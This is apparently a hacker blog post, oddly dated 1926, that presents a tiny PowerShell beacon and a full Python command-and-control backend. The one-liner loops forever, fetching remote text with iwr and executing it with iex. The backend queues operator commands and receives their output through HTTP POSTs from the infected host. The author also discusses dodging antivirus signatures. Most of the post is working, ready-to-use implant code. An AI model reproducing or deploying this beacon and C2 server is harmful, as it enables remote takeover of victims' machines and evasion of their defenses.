.oo. IEX from the hood .oo.

Feb 12, 1926

Powershell is dead. Powershell is alive. It's dead. It's alive it's dead its'

Whatever it is, I still find it very useful to have from time to time. Want to have a backup payload? Want some additional testing payload for greater coverage? You know that sys admins use rather phishy ps scripts themselves? A lot of good reasons to not forget our good old friend.

The idea of this blog post is first to create a ps bg that is so small it gets hard to stick signatures against, and secondly to play a bit with the actual code execution.

For CTFs a rev shell probably is more efficient, but in the end all we need is a loop, a web request, and an eval. These are the ingredients you need. And PowerShell has these.

Goose

This gives us some decent properties: PS is fault tolerant by default - keeps running after errors, HTTPS network traffic, delays, small, runs in constrained language mode, modular, can be put into Task Scheduler.

If you want to make it even smaller, leave out the loop and just execute the iwr with iex as a stager. Then the first command it fetches from your C2 is a new payload that contains the loop.

If you want to try it, run a Python webserver hosting the file i.txt and execute this. You can even change the beacon delay by modifying the $delay variable (Set-Variable -Scope Global):

$delay=2;for(;;){(iwr http://localhost/i.txt).content|iex;sleep $delay}
Goose

I guess there is no AV in the world that does not pick up on iex. So what alternatives are there? Well, lolbas, adding the iwr content into PowerShell -c, or using r (which is a task for the reader). In the end, the purpose of this payload is not really to evade AV. This is hard with PS. Though, it might work because it is just so tiny.

If you want to give it a shot, feel free to use this backend where the iwr can fetch commands from (thx https://github.com/prompt-toolkit/python-prompt-toolkit):

#!/usr/bin/python3
# Author: Bufuuu (hahahahAAAAC3NzaC1lZDI1NTE5AAAAIOxafpe9pzEODi2EKkVn2g6ZHRVKrf2qN+wmvHAS1337)

import sys
import signal
import os.path
from time import sleep
from urllib.parse import urlparse
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
from prompt_toolkit import HTML, PromptSession, completion, key_binding, lexers, styles, print_formatted_text
from prompt_toolkit.formatted_text import ANSI
from pygments.lexers.shell import PowerShellLexer
from pygments.styles.native import NativeStyle

class httphandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        global ping
        if self.path != '/': 
            ping = 'ps' if 'PS' in ping else 'PS'
            super().do_GET()
            return

    def do_POST(self):
        global output
        try:
            content_length = int(self.headers['Content-Length'])
            post_data = self.rfile.read(content_length)
            output = post_data.decode('iso-8859-1')
            sleep(0.2) 
            self.send_response(200)
            self.send_header("Content-Length", "0")
            self.end_headers()    
        except Exception as e:
            print_formatted_text(ANSI(f"[ERROR] Could not read data from the client HTTP POST back! {e}"))
    def log_message(self, format, *args):
        return # Make SimpleHTTP Shut Up

def strc(sig, frame):
     global output
     print()
     output = 'strc'
signal.signal(signal.SIGINT, strc)
bindings = key_binding.KeyBindings()
@bindings.add('c-k')
def _(event):
    event.cli.current_buffer.reset()
def get_prompt():
    global ping, path
    try:
        return HTML(''+ping+' '+path+'> ')
    except Exception as e:
        print_formatted_text(ANSI(e))

input, c2URI, output, nop, path = '', '', '', '', '',
ping = 'PS'
lastget = None
c2URI = sys.argv[1]
PORT = int(sys.argv[2])

if not urlparse(c2URI).scheme:
        print("\033[31;1mFormat of c2URI could not be parsed!\033[0m")
        exit(False)
elif urlparse(c2URI).path:
        INPUT_FILE = '.'+urlparse(c2URI).path
with open(INPUT_FILE,  'w') as f:
    f.write(nop)

print(f"Clients will post results back to: {c2URI}")
print(f"HTTPServer's input file for commands will be: {INPUT_FILE}")
httpd = HTTPServer(('', PORT), httphandler)

httpserver = Thread(target=httpd.serve_forever)
httpserver.start()
print('HTTPServer started at port: ' + str(PORT))

session = PromptSession()
pwshSyntaxhighlight = lexers.PygmentsLexer(PowerShellLexer)
native = styles.style_from_pygments_cls(NativeStyle)

# use(): python .\backend.py http://localhost:8080/task.txt 8080 
while True:
    try:
        input = session.prompt(get_prompt, refresh_interval=0.5,
                        complete_while_typing=False,
                        key_bindings=bindings,
                        lexer=pwshSyntaxhighlight, style=native)
    except KeyboardInterrupt:
        print('\nStopping HTTP server and exit!')
        httpd.shutdown()
        exit(0)


    if input=='': continue
    functionname="log"
    function=f"function {functionname} {{{input}}}"
    framed=f"{function};iwr -uri {c2URI} -Method POST -Body (({functionname} 2>&1|out-string)+(Get-Location).Path)"
    sendout=framed
    open(INPUT_FILE,'w').write(sendout)
    output='await'
    while output=='await': sleep(0.2)
    open(INPUT_FILE,'w').write(nop)
    if output=='strc': continue
    path=''
    output,path='\n'.join(output.split('\n')[:-1]),output.split('\n')[-1]
    print(output)